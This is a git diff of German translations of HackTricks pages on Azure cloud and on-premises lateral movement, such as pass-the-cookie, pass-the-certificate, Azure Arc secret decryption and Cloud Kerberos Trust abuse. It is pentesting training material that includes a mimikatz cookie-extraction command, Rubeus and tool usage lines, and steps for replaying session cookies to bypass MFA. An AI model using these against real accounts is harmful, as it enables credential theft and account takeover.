+Um einen **MitM** auf das Tool durchzuführen und **alle Anfragen**, die es manuell sendet, zu überprüfen, kannst du Folgendes tun:

 {{#tabs }}
 {{#tab name="Bash" }}
@@ -109,7 +109,7 @@ Um ein **MitM** auf das Tool durchzuführen und **alle Anfragen**, die es manuel

 ### Microsoft Graph PowerShell

-Microsoft Graph PowerShell ist ein plattformübergreifendes SDK, das den Zugriff auf alle Microsoft Graph APIs ermöglicht, einschließlich Dienste wie SharePoint, Exchange und Outlook, über einen einzigen Endpunkt. Es unterstützt PowerShell 7+, moderne Authentifizierung über MSAL, externe Identitäten und erweiterte Abfragen. Mit einem Fokus auf den minimalen Zugriff gewährleistet es sichere Operationen und erhält regelmäßige Updates, um mit den neuesten Funktionen der Microsoft Graph API in Einklang zu stehen.
+Microsoft Graph PowerShell ist ein plattformübergreifendes SDK, das den Zugriff auf alle Microsoft Graph APIs ermöglicht, einschließlich Dienste wie SharePoint, Exchange und Outlook, über einen einzigen Endpunkt. Es unterstützt PowerShell 7+, moderne Authentifizierung über MSAL, externe Identitäten und erweiterte Abfragen. Mit einem Fokus auf minimalen Zugriff gewährleistet es sichere Operationen und erhält regelmäßige Updates, um mit den neuesten Funktionen der Microsoft Graph API in Einklang zu stehen.

 Folgen Sie diesem Link für die [**Installationsanweisungen**](https://learn.microsoft.com/en-us/powershell/microsoftgraph/installation).

--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md
@@ -28,10 +28,10 @@ Es gibt verschiedene Möglichkeiten, wie eine Maschine mit der Cloud verbunden s

 In Azure AD gibt es verschiedene Arten von Tokens mit spezifischen Einschränkungen:

- **Zugriffstoken**: Werden verwendet, um auf APIs und Ressourcen wie Microsoft Graph zuzugreifen. Sie sind an einen bestimmten Client und eine Ressource gebunden.
- **Aktualisierungstoken**: Werden an Anwendungen ausgegeben, um neue Zugriffstoken zu erhalten. Sie können nur von der Anwendung verwendet werden, an die sie ausgegeben wurden, oder von einer Gruppe von Anwendungen.
- **Primäre Aktualisierungstoken (PRT)**: Werden für die einmalige Anmeldung auf Azure AD verbundenen, registrierten oder hybrid verbundenen Geräten verwendet. Sie können in Anmeldeflüssen im Browser und für die Anmeldung bei mobilen und Desktop-Anwendungen auf dem Gerät verwendet werden.
- **Windows Hello for Business-Schlüssel (WHFB)**: Werden für passwortlose Authentifizierung verwendet. Sie werden verwendet, um primäre Aktualisierungstoken zu erhalten.
+- **Zugriffstokens**: Werden verwendet, um auf APIs und Ressourcen wie den Microsoft Graph zuzugreifen. Sie sind an einen bestimmten Client und eine Ressource gebunden.
+- **Aktualisierungstokens**: Werden an Anwendungen ausgegeben, um neue Zugriffstokens zu erhalten. Sie können nur von der Anwendung verwendet werden, an die sie ausgegeben wurden, oder von einer Gruppe von Anwendungen.
+- **Primäre Aktualisierungstokens (PRT)**: Werden für die einmalige Anmeldung auf Azure AD verbundenen, registrierten oder hybrid verbundenen Geräten verwendet. Sie können in Anmeldeflüssen im Browser und für die Anmeldung bei mobilen und Desktop-Anwendungen auf dem Gerät verwendet werden.
+- **Windows Hello for Business-Schlüssel (WHFB)**: Werden für passwortlose Authentifizierung verwendet. Sie werden verwendet, um primäre Aktualisierungstokens zu erhalten.

 Die interessanteste Art von Token ist das primäre Aktualisierungstoken (PRT).

@@ -44,9 +44,9 @@ az-primary-refresh-token-prt.md
 Von der **kompromittierten Maschine zur Cloud**:

 - [**Pass the Cookie**](az-pass-the-cookie.md): Azure-Cookies aus dem Browser stehlen und verwenden, um sich anzumelden
- [**Dump processes access tokens**](az-processes-memory-access-token.md): Den Speicher lokaler Prozesse, die mit der Cloud synchronisiert sind (wie Excel, Teams...), dumpen und Zugriffstoken im Klartext finden.
- [**Phishing Primary Refresh Token**](az-phishing-primary-refresh-token-microsoft-entra.md)**:** Das PRT phishen, um es auszunutzen
- [**Pass the PRT**](pass-the-prt.md): Das Geräte-PRT stehlen, um Azure zuzugreifen und sich als es auszugeben.
+- [**Dump processes access tokens**](az-processes-memory-access-token.md): Den Speicher lokaler Prozesse, die mit der Cloud synchronisiert sind (wie Excel, Teams...), dumpen und Zugriffstokens im Klartext finden.
+- [**Phishing Primary Refresh Token**](az-phishing-primary-refresh-token-microsoft-entra.md)**:** PRT phishen, um es auszunutzen
+- [**Pass the PRT**](pass-the-prt.md): Das Geräte-PRT stehlen, um Azure zu impersonieren.
 - [**Pass the Certificate**](az-pass-the-certificate.md)**:** Ein Zertifikat basierend auf dem PRT generieren, um sich von einer Maschine zur anderen anzumelden

 Von der Kompromittierung **AD** zur Kompromittierung der **Cloud** und von der Kompromittierung der **Cloud** zur Kompromittierung **AD**:
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md
@@ -4,16 +4,16 @@

 ### Identifizierung der Probleme

-Azure Arc ermöglicht die Integration neuer interner Server (verbundene Domänenserver) in Azure Arc mithilfe der Group Policy Object-Methode. Um dies zu erleichtern, stellt Microsoft ein Bereitstellungstoolkit zur Verfügung, das für den Start des Onboarding-Verfahrens erforderlich ist. Im ArcEnableServerGroupPolicy.zip-Datei finden sich die folgenden Skripte: DeployGPO.ps1, EnableAzureArc.ps1 und AzureArcDeployment.psm1.
+Azure Arc ermöglicht die Integration neuer interner Server (verbundene Domänenserver) in Azure Arc mithilfe der Group Policy Object-Methode. Um dies zu erleichtern, stellt Microsoft ein Bereitstellungstoolkit zur Verfügung, das für den Onboarding-Prozess erforderlich ist. Im ArcEnableServerGroupPolicy.zip-Datei finden sich die folgenden Skripte: DeployGPO.ps1, EnableAzureArc.ps1 und AzureArcDeployment.psm1.

 Beim Ausführen des DeployGPO.ps1-Skripts werden die folgenden Aktionen durchgeführt:

 1. Erstellt die Azure Arc Servers Onboarding GPO innerhalb der lokalen Domäne.
 2. Kopiert das EnableAzureArc.ps1 Onboarding-Skript in den vorgesehenen Netzwerkfreigabe, die für den Onboarding-Prozess erstellt wurde und auch das Windows-Installationspaket enthält.

-Beim Ausführen dieses Skripts müssen die Systemadministratoren zwei Hauptparameter angeben: **ServicePrincipalId** und **ServicePrincipalClientSecret**. Darüber hinaus sind weitere Parameter wie die Domäne, der FQDN des Servers, der die Freigabe hostet, und der Freigabename erforderlich. Weitere Details wie die Mandanten-ID, die Ressourcengruppe und andere notwendige Informationen müssen ebenfalls dem Skript bereitgestellt werden.
+Beim Ausführen dieses Skripts müssen Systemadministratoren zwei Hauptparameter angeben: **ServicePrincipalId** und **ServicePrincipalClientSecret**. Darüber hinaus sind weitere Parameter wie die Domäne, der FQDN des Servers, der die Freigabe hostet, und der Freigabename erforderlich. Weitere Details wie die Mandanten-ID, die Ressourcengruppe und andere notwendige Informationen müssen ebenfalls dem Skript bereitgestellt werden.

-Ein verschlüsseltes Geheimnis wird im AzureArcDeploy-Verzeichnis auf der angegebenen Freigabe unter Verwendung der DPAPI-NG-Verschlüsselung generiert. Das verschlüsselte Geheimnis wird in einer Datei mit dem Namen encryptedServicePrincipalSecret gespeichert. Hinweise darauf finden sich im DeployGPO.ps1-Skript, wo die Verschlüsselung durch den Aufruf von ProtectBase64 mit $descriptor und $ServicePrincipalSecret als Eingaben erfolgt. Der Descriptor besteht aus den SID der Domain Computer und der Domain Controller-Gruppe, wodurch sichergestellt wird, dass das ServicePrincipalSecret nur von den Sicherheitsgruppen der Domain Controller und Domain Computer entschlüsselt werden kann, wie in den Kommentaren des Skripts vermerkt.
+Ein verschlüsseltes Geheimnis wird im AzureArcDeploy-Verzeichnis auf der angegebenen Freigabe unter Verwendung der DPAPI-NG-Verschlüsselung generiert. Das verschlüsselte Geheimnis wird in einer Datei mit dem Namen encryptedServicePrincipalSecret gespeichert. Ein Beweis dafür findet sich im DeployGPO.ps1-Skript, wo die Verschlüsselung durch den Aufruf von ProtectBase64 mit $descriptor und $ServicePrincipalSecret als Eingaben erfolgt. Der Descriptor besteht aus den SID der Domain Computer und der Domain Controller-Gruppe, wodurch sichergestellt wird, dass das ServicePrincipalSecret nur von den Sicherheitsgruppen der Domain Controllers und Domain Computers entschlüsselt werden kann, wie in den Kommentaren des Skripts vermerkt.
 ```powershell
 # Encrypting the ServicePrincipalSecret to be decrypted only by the Domain Controllers and the Domain Computers security groups
 $DomainComputersSID = "SID=" + $DomainComputersSID
@@ -43,7 +43,7 @@ runas /user:fake01$ /netonly powershell
 ```powershell
 .\Rubeus.exe asktgt /user:fake01$ /password:123456 /prr
 ```
-Indem wir das TGT für unser Computer-Konto im Speicher haben, können wir das folgende Skript verwenden, um das Geheimnis des Dienstprinzipals zu entschlüsseln.
+Durch das Speichern des TGT für unser Computer-Konto im Speicher können wir das folgende Skript verwenden, um das Geheimnis des Dienstprinzipals zu entschlüsseln.
 ```powershell
 Import-Module .\AzureArcDeployment.psm1

@@ -54,9 +54,9 @@ $ebs
 ```
 Alternativ können wir [SecretManagement.DpapiNG](https://github.com/jborean93/SecretManagement.DpapiNG) verwenden.

-An diesem Punkt können wir die verbleibenden Informationen sammeln, die benötigt werden, um eine Verbindung zu Azure herzustellen, aus der ArcInfo.json-Datei, die sich im selben Netzwerkfreigabe wie die encryptedServicePrincipalSecret-Datei befindet. Diese Datei enthält Details wie: TenantId, servicePrincipalClientId, ResourceGroup und mehr. Mit diesen Informationen können wir Azure CLI verwenden, um uns als der kompromittierte Dienstprinzipal zu authentifizieren.
+An diesem Punkt können wir die verbleibenden Informationen sammeln, die benötigt werden, um eine Verbindung zu Azure herzustellen, aus der ArcInfo.json-Datei, die sich im selben Netzwerkfreigabe wie die encryptedServicePrincipalSecret-Datei befindet. Diese Datei enthält Details wie: TenantId, servicePrincipalClientId, ResourceGroup und mehr. Mit diesen Informationen können wir Azure CLI verwenden, um uns als kompromittierter Dienstprinzipal zu authentifizieren.

-## References
+## Referenzen

 - [https://xybytes.com/azure/Abusing-Azure-Arc/](https://xybytes.com/azure/Abusing-Azure-Arc/)

--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md
@@ -12,7 +12,7 @@ Tokens und sensible Daten werden lokal von Azure CLI gespeichert, was Sicherheit
 2. **Abonnementinformationen**: `azureProfile.json`, im selben Verzeichnis, enthält Abonnementdetails.
 3. **Protokolldateien**: Der Ordner `ErrorRecords` innerhalb von `.azure` könnte Protokolle mit exponierten Anmeldeinformationen enthalten, wie z.B.:
 - Ausgeführte Befehle mit eingebetteten Anmeldeinformationen.
- Über Tokens aufgerufene URLs, die möglicherweise sensible Informationen offenbaren.
+- Über Tokens aufgerufene URLs, die potenziell sensible Informationen offenbaren.

 ### Azure PowerShell

@@ -20,7 +20,7 @@ Azure PowerShell speichert ebenfalls Tokens und sensible Daten, die lokal abgeru

 1. **Zugriffstoken**: `TokenCache.dat`, das sich unter `C:\Users\<username>\.Azure` befindet, speichert Zugriffstoken im Klartext.
 2. **Geheimnisse des Dienstprinzipals**: Diese werden unverschlüsselt in `AzureRmContext.json` gespeichert.
-3. **Token-Speicherfunktion**: Benutzer haben die Möglichkeit, Tokens mit dem Befehl `Save-AzContext` zu speichern, der vorsichtig verwendet werden sollte, um unbefugten Zugriff zu verhindern.
+3. **Token-Speicherfunktion**: Benutzer haben die Möglichkeit, Tokens mit dem Befehl `Save-AzContext` zu speichern, was vorsichtig verwendet werden sollte, um unbefugten Zugriff zu verhindern.

 ## Automatische Tools zur Auffindung

@@ -34,6 +34,6 @@ Angesichts der Speicherung sensibler Daten im Klartext ist es entscheidend, dies
 - Einschränkung der Zugriffsrechte auf diese Dateien.
 - Regelmäßige Überwachung und Prüfung dieser Verzeichnisse auf unbefugten Zugriff oder unerwartete Änderungen.
 - Einsatz von Verschlüsselung für sensible Dateien, wo möglich.
- Schulung der Benutzer über die Risiken und bewährten Verfahren im Umgang mit solchen sensiblen Informationen.
+- Schulung der Benutzer über die Risiken und bewährten Praktiken im Umgang mit solchen sensiblen Informationen.

 {{#include ../../../banners/hacktricks-training.md}}
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md
@@ -24,7 +24,7 @@ Es ist möglich, ein **P2P-Zertifikat** für den Benutzer mit dem Tool [**PrtToC
 ```bash
 RequestCert.py [-h] --tenantId TENANTID --prt PRT --userName USERNAME --hexCtx HEXCTX --hexDerivedKey HEXDERIVEDKEY [--passPhrase PASSPHRASE]
 ```
-Die Zertifikate haben die gleiche Gültigkeit wie das PRT. Um das Zertifikat zu verwenden, können Sie das Python-Tool [**AzureADJoinedMachinePTC**](https://github.com/morRubin/AzureADJoinedMachinePTC) verwenden, das sich **authentifiziert** und **PSEXEC** ausführt sowie eine CMD auf der Zielmaschine öffnet. Dies ermöglicht es uns, Mimikatz erneut zu verwenden, um das PRT eines anderen Benutzers zu erhalten.
+Die Zertifikate haben die gleiche Gültigkeit wie das PRT. Um das Zertifikat zu verwenden, können Sie das Python-Tool [**AzureADJoinedMachinePTC**](https://github.com/morRubin/AzureADJoinedMachinePTC) verwenden, das sich **authentifiziert** und **PSEXEC** ausführt sowie eine CMD auf der Opfermaschine öffnet. Dies ermöglicht es uns, Mimikatz erneut zu verwenden, um das PRT eines anderen Benutzers zu erhalten.
 ```bash
 Main.py [-h] --usercert USERCERT --certpass CERTPASS --remoteip REMOTEIP
 ```
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md
@@ -4,9 +4,9 @@

 ## Warum Cookies?

-Browser **cookies** sind ein großartiger Mechanismus, um **Authentifizierung und MFA zu umgehen**. Da der Benutzer sich bereits in der Anwendung authentifiziert hat, kann das **Session-Cookie** einfach verwendet werden, um **auf Daten** als dieser Benutzer zuzugreifen, ohne sich erneut authentifizieren zu müssen.
+Browser **cookies** sind ein großartiger Mechanismus, um **Authentifizierung und MFA zu umgehen**. Da der Benutzer bereits in der Anwendung authentifiziert ist, kann das **Session-Cookie** einfach verwendet werden, um **auf Daten** als dieser Benutzer zuzugreifen, ohne sich erneut authentifizieren zu müssen.

-Sie können sehen, wo sich **Browser-Cookies befinden** in:
+Sie können sehen, wo **Browser-Cookies gespeichert sind** in:

 {{#ref}}
 https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts?q=browse#google-chrome
@@ -14,17 +14,17 @@ https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-m

 ## Angriff

-Der herausfordernde Teil ist, dass diese **Cookies verschlüsselt** sind für den **Benutzer** über die Microsoft Data Protection API (**DPAPI**). Dies wird mit kryptografischen [Schlüsseln, die an den Benutzer gebunden sind](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords), zu dem die Cookies gehören, verschlüsselt. Weitere Informationen dazu finden Sie in:
+Der herausfordernde Teil ist, dass diese **Cookies verschlüsselt sind** für den **Benutzer** über die Microsoft Data Protection API (**DPAPI**). Dies wird mit kryptografischen [Schlüsseln, die an den Benutzer gebunden sind](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords), zu dem die Cookies gehören, verschlüsselt. Weitere Informationen dazu finden Sie in:

 {{#ref}}
 https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords
 {{#endref}}

-Mit Mimikatz in der Hand kann ich **die Cookies eines Benutzers extrahieren**, obwohl sie mit diesem Befehl verschlüsselt sind:
+Mit Mimikatz in der Hand kann ich **die Cookies eines Benutzers extrahieren**, auch wenn sie mit diesem Befehl verschlüsselt sind:
 ```bash
 mimikatz.exe privilege::debug log "dpapi::chrome /in:%localappdata%\google\chrome\USERDA~1\default\cookies /unprotect" exit
 ```
-Für Azure interessieren wir uns für die Authentifizierungscookies, einschließlich **`ESTSAUTH`**, **`ESTSAUTHPERSISTENT`** und **`ESTSAUTHLIGHT`**. Diese sind vorhanden, weil der Benutzer in letzter Zeit aktiv auf Azure war.
+Für Azure sind uns die Authentifizierungscookies wichtig, einschließlich **`ESTSAUTH`**, **`ESTSAUTHPERSISTENT`** und **`ESTSAUTHLIGHT`**. Diese sind vorhanden, weil der Benutzer in letzter Zeit aktiv auf Azure war.

 Navigieren Sie einfach zu login.microsoftonline.com und fügen Sie das Cookie **`ESTSAUTHPERSISTENT`** (generiert durch die Option „Angemeldet bleiben“) oder **`ESTSAUTH`** hinzu. Und Sie werden authentifiziert.

--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md
@@ -8,27 +8,27 @@

 ### Vertrauen

-Wenn ein Vertrauen mit Azure AD hergestellt wird, wird ein **Read Only Domain Controller (RODC) im AD erstellt.** Das **RODC-Computer-Konto** heißt **`AzureADKerberos$`**. Außerdem gibt es ein sekundäres `krbtgt`-Konto mit dem Namen **`krbtgt_AzureAD`**. Dieses Konto enthält die **Kerberos-Schlüssel**, die für Tickets verwendet werden, die Azure AD erstellt.
+Wenn ein Vertrauen mit Azure AD hergestellt wird, wird ein **Read Only Domain Controller (RODC) im AD erstellt.** Der **RODC-Computeraccount** heißt **`AzureADKerberos$`**. Außerdem gibt es ein sekundäres `krbtgt`-Konto mit dem Namen **`krbtgt_AzureAD`**. Dieses Konto enthält die **Kerberos-Schlüssel**, die für Tickets verwendet werden, die Azure AD erstellt.

-Daher, wenn dieses Konto kompromittiert wird, könnte es möglich sein, sich als jeder Benutzer auszugeben... obwohl dies nicht zutrifft, da dieses Konto daran gehindert wird, Tickets für beliebige gängige privilegierte AD-Gruppen wie Domain Admins, Enterprise Admins, Administrators... zu erstellen.
+Daher könnte es, wenn dieses Konto kompromittiert wird, möglich sein, sich als jeder Benutzer auszugeben... obwohl dies nicht zutrifft, da dieses Konto daran gehindert wird, Tickets für gängige privilegierte AD-Gruppen wie Domain Admins, Enterprise Admins, Administrators... zu erstellen.

 > [!CAUTION]
-> In einem realen Szenario wird es jedoch privilegierte Benutzer geben, die nicht in diesen Gruppen sind. Das **neue krbtgt-Konto, wenn es kompromittiert wird, könnte verwendet werden, um sich als diese auszugeben.**
+> In einem realen Szenario wird es jedoch privilegierte Benutzer geben, die nicht in diesen Gruppen sind. Das **neue krbtgt-Konto könnte, wenn es kompromittiert wird, verwendet werden, um sich als diese auszugeben.**

 ### Kerberos TGT

-Darüber hinaus, wenn sich ein Benutzer unter Windows mit einer hybriden Identität authentifiziert, wird **Azure AD ein partielles Kerberos-Ticket zusammen mit dem PRT ausstellen.** Das TGT ist partiell, weil **AzureAD nur begrenzte Informationen** über den Benutzer im lokalen AD hat (wie die Sicherheitskennung (SID) und den Namen).\
+Darüber hinaus wird, wenn sich ein Benutzer unter Windows mit einer hybriden Identität authentifiziert, **Azure AD** ein **teilweises Kerberos-Ticket zusammen mit dem PRT ausstellen.** Das TGT ist teilweise, weil **AzureAD nur begrenzte Informationen** über den Benutzer im lokalen AD hat (wie die Sicherheitskennung (SID) und den Namen).\
 Windows kann dann **dieses partielle TGT gegen ein vollständiges TGT eintauschen**, indem es ein Serviceticket für den `krbtgt`-Dienst anfordert.

 ### NTLM

-Da es Dienste geben könnte, die keine Kerberos-Authentifizierung, sondern NTLM unterstützen, ist es möglich, ein **partielles TGT anzufordern, das mit einem sekundären `krbtgt`**-Schlüssel signiert ist, indem das **`KERB-KEY-LIST-REQ`**-Feld im **PADATA**-Teil der Anfrage enthalten ist, und dann ein vollständiges TGT zu erhalten, das mit dem primären `krbtgt`-Schlüssel **einschließlich des NT-Hashes in der Antwort** signiert ist.
+Da es Dienste geben könnte, die keine Kerberos-Authentifizierung, sondern NTLM unterstützen, ist es möglich, ein **partielles TGT zu beantragen, das mit einem sekundären `krbtgt`**-Schlüssel signiert ist, indem das **`KERB-KEY-LIST-REQ`**-Feld im **PADATA**-Teil der Anfrage enthalten ist, und dann ein vollständiges TGT zu erhalten, das mit dem primären `krbtgt`-Schlüssel **einschließlich des NT-Hashes in der Antwort** signiert ist.

 ## Missbrauch von Cloud Kerberos Trust zur Erlangung von Domain Admin <a href="#abusing-cloud-kerberos-trust-to-obtain-domain-admin" id="abusing-cloud-kerberos-trust-to-obtain-domain-admin"></a>

-Wenn AzureAD ein **partielles TGT** generiert, verwendet es die Details, die es über den Benutzer hat. Daher, wenn ein Global Admin Daten wie die **Sicherheitskennung und den Namen des Benutzers in AzureAD** ändern könnte, wäre die **Sicherheitskennung bei der Anforderung eines TGT für diesen Benutzer eine andere**.
+Wenn AzureAD ein **partielles TGT** generiert, verwendet es die Details, die es über den Benutzer hat. Daher könnte, wenn ein Global Admin Daten wie die **Sicherheitskennung und den Namen des Benutzers in AzureAD** ändern könnte, bei der Anforderung eines TGT für diesen Benutzer die **Sicherheitskennung eine andere sein**.

-Es ist nicht möglich, dies über die Microsoft Graph oder die Azure AD Graph zu tun, aber es ist möglich, die **API zu verwenden, die Active Directory Connect** verwendet, um synchronisierte Benutzer zu erstellen und zu aktualisieren, die von den Global Admins verwendet werden kann, um **den SAM-Namen und die SID eines beliebigen hybriden Benutzers zu ändern**, und dann, wenn wir uns authentifizieren, erhalten wir ein partielles TGT, das die geänderte SID enthält.
+Es ist nicht möglich, dies über die Microsoft Graph oder die Azure AD Graph zu tun, aber es ist möglich, die **API zu verwenden, die Active Directory Connect** verwendet, um synchronisierte Benutzer zu erstellen und zu aktualisieren, die von den Global Admins verwendet werden kann, um **den SAM-Namen und die SID eines hybriden Benutzers zu ändern**, und dann, wenn wir uns authentifizieren, erhalten wir ein partielles TGT, das die geänderte SID enthält.

 Beachten Sie, dass wir dies mit AADInternals tun können und synchronisierte Benutzer über das [Set-AADIntAzureADObject](https://aadinternals.com/aadinternals/#set-aadintazureadobject-a) Cmdlet aktualisieren können.

@@ -36,11 +36,11 @@ Beachten Sie, dass wir dies mit AADInternals tun können und synchronisierte Ben

 Der Erfolg des Angriffs und die Erlangung von Domain Admin-Rechten hängen von der Erfüllung bestimmter Voraussetzungen ab:

- Die Fähigkeit, Konten über die Synchronisierungs-API zu ändern, ist entscheidend. Dies kann erreicht werden, indem man die Rolle des Global Admin hat oder ein AD Connect-Synchronisationskonto besitzt. Alternativ würde die Rolle des Hybrid Identity Administrators ausreichen, da sie die Möglichkeit bietet, AD Connect zu verwalten und neue Synchronisationskonten zu erstellen.
- Das Vorhandensein eines **hybriden Kontos** ist unerlässlich. Dieses Konto muss für die Änderung mit den Details des Opferkontos geeignet sein und sollte auch für die Authentifizierung zugänglich sein.
- Die Identifizierung eines **Zielopferkontos** innerhalb des Active Directory ist notwendig. Obwohl der Angriff auf jedes bereits synchronisierte Konto ausgeführt werden kann, darf der Azure AD-Mandant keine replizierten lokalen Sicherheitskennungen haben, was die Änderung eines nicht synchronisierten Kontos erforderlich macht, um das Ticket zu beschaffen.
+- Die Fähigkeit, Konten über die Synchronisierungs-API zu ändern, ist entscheidend. Dies kann erreicht werden, indem man die Rolle des Global Admin hat oder über ein AD Connect-Synchronisationskonto verfügt. Alternativ würde die Rolle des Hybrid Identity Administrators ausreichen, da sie die Möglichkeit bietet, AD Connect zu verwalten und neue Synchronisationskonten zu erstellen.
+- Das Vorhandensein eines **hybriden Kontos** ist unerlässlich. Dieses Konto muss für die Modifikation mit den Details des Opferkontos geeignet sein und sollte auch für die Authentifizierung zugänglich sein.
+- Die Identifizierung eines **Zielopferkontos** innerhalb des Active Directory ist notwendig. Obwohl der Angriff auf jedes bereits synchronisierte Konto ausgeführt werden kann, darf der Azure AD-Mandant keine replizierten lokalen Sicherheitskennungen haben, was die Modifikation eines nicht synchronisierten Kontos erforderlich macht, um das Ticket zu beschaffen.
 - Darüber hinaus sollte dieses Konto über gleichwertige Domain-Admin-Rechte verfügen, darf jedoch kein Mitglied typischer AD-Administratorgruppen sein, um die Generierung ungültiger TGTs durch den AzureAD RODC zu vermeiden.
- Das am besten geeignete Ziel ist das **Active Directory-Konto, das vom AD Connect Sync-Dienst verwendet wird**. Dieses Konto wird nicht mit Azure AD synchronisiert, wodurch seine SID ein viables Ziel bleibt, und es hat aufgrund seiner Rolle bei der Synchronisierung von Passwort-Hashes (vorausgesetzt, Password Hash Sync ist aktiv) von Natur aus gleichwertige Domain-Admin-Rechte. Für Domänen mit Express-Installation wird dieses Konto mit **MSOL\_** vorangestellt. In anderen Fällen kann das Konto ermittelt werden, indem alle Konten mit Verzeichnisreplikationsrechten auf dem Domänenobjekt aufgelistet werden.
+- Das am besten geeignete Ziel ist das **Active Directory-Konto, das vom AD Connect Sync-Dienst verwendet wird**. Dieses Konto wird nicht mit Azure AD synchronisiert, wodurch seine SID ein viables Ziel darstellt, und es hat aufgrund seiner Rolle bei der Synchronisierung von Passwort-Hashes (vorausgesetzt, die Passwort-Hash-Synchronisierung ist aktiv) von Natur aus gleichwertige Domain-Admin-Rechte. Für Domänen mit Express-Installation wird dieses Konto mit **MSOL\_** vorangestellt. In anderen Fällen kann das Konto ermittelt werden, indem alle Konten aufgelistet werden, die über Verzeichnisreplikationsrechte auf dem Domänenobjekt verfügen.

 ### Der vollständige Angriff <a href="#the-full-attack" id="the-full-attack"></a>

--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md
@@ -1,9 +1,9 @@
-# Az - Default Applications
+# Az - Standardanwendungen

 {{#include ../../../../banners/hacktricks-training.md}}

 **Überprüfen Sie die Technik in:** [**https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/**](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)**,** [**https://www.youtube.com/watch?v=JEIR5oGCwdg**](https://www.youtube.com/watch?v=JEIR5oGCwdg) und [**https://www.youtube.com/watch?v=xei8lAPitX8**](https://www.youtube.com/watch?v=xei8lAPitX8)

-Der Blogbeitrag behandelt eine Privilegieneskalationsanfälligkeit in Azure AD, die es Anwendungsadministratoren oder kompromittierten On-Premise-Sync-Konten ermöglicht, Privilegien zu eskalieren, indem sie Anmeldedaten Anwendungen zuweisen. Die Anfälligkeit, die sich aus dem "by-design"-Verhalten von Azure AD im Umgang mit Anwendungen und Dienstprinzipalen ergibt, betrifft insbesondere die standardmäßigen Office 365-Anwendungen. Obwohl gemeldet, wird das Problem von Microsoft aufgrund der Dokumentation des Verhaltens bei der Zuweisung von Administratorrechten nicht als Anfälligkeit betrachtet. Der Beitrag bietet detaillierte technische Einblicke und empfiehlt regelmäßige Überprüfungen der Anmeldedaten von Dienstprinzipalen in Azure AD-Umgebungen. Für detailliertere Informationen können Sie den ursprünglichen Blogbeitrag besuchen.
+Der Blogbeitrag behandelt eine Privilegieneskalationsanfälligkeit in Azure AD, die es Anwendungsadministratoren oder kompromittierten On-Premise-Sync-Konten ermöglicht, Privilegien zu eskalieren, indem sie Anmeldedaten Anwendungen zuweisen. Die Anfälligkeit, die sich aus dem "by-design" Verhalten von Azure AD im Umgang mit Anwendungen und Dienstprinzipalen ergibt, betrifft insbesondere die Standardanwendungen von Office 365. Obwohl gemeldet, wird das Problem von Microsoft aufgrund der Dokumentation des Verhaltens bei der Zuweisung von Administratorrechten nicht als Anfälligkeit betrachtet. Der Beitrag bietet detaillierte technische Einblicke und empfiehlt regelmäßige Überprüfungen der Anmeldedaten von Dienstprinzipalen in Azure AD-Umgebungen. Für detailliertere Informationen können Sie den ursprünglichen Blogbeitrag besuchen.

 {{#include ../../../../banners/hacktricks-training.md}}
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md
@@ -6,15 +6,15 @@

 [Aus den Dokumenten:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed)**Federation** ist eine Sammlung von **Domänen**, die **Vertrauen** etabliert haben. Das Vertrauensniveau kann variieren, umfasst jedoch typischerweise **Authentifizierung** und fast immer **Autorisierung**. Eine typische Föderation könnte eine **Anzahl von Organisationen** umfassen, die **Vertrauen** für **gemeinsamen Zugriff** auf eine Reihe von Ressourcen etabliert haben.

-Sie können Ihre **lokale** Umgebung **mit Azure AD** föderieren und diese Föderation für Authentifizierung und Autorisierung nutzen. Diese Anmeldemethode stellt sicher, dass alle Benutzer-**Authentifizierungen lokal** erfolgen. Diese Methode ermöglicht es Administratoren, rigorosere Zugriffskontrollen zu implementieren. Die Föderation mit **AD FS** und PingFederate ist verfügbar.
+Sie können Ihre **On-Premises-Umgebung** **mit Azure AD** föderieren und diese Föderation für Authentifizierung und Autorisierung nutzen. Diese Anmeldemethode stellt sicher, dass alle Benutzer-**Authentifizierungen vor Ort** erfolgen. Diese Methode ermöglicht es Administratoren, rigorosere Zugriffskontrollen zu implementieren. Die Föderation mit **AD FS** und PingFederate ist verfügbar.

 <figure><img src="../../../../images/image (154).png" alt=""><figcaption></figcaption></figure>

